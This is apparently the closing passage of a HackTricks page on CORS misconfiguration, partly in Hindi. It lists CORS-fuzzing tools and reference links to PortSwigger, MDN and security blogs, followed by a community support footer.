• https://wicg.github.io/private-network-access/: प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुँच प्राप्त करना चाहते हैं तो हमेशा एक प्री-फ्लाइट अनुरोध भेजें

Tools

CORS नीतियों में संभावित गलत कॉन्फ़िगरेशन को फज़ करें

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8

• https://github.com/chenjj/CORScanner

• https://github.com/lc/theftfuzzer

• https://github.com/s0md3v/Corsy

• https://github.com/Shivangx01b/CorsMe

• https://github.com/omranisecurity/CorsOne

References

• https://portswigger.net/web-security/cors

• https://portswigger.net/web-security/cors/access-control-allow-origin

• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS

• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

• https://www.codecademy.com/articles/what-is-cors

• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors

• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration

• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.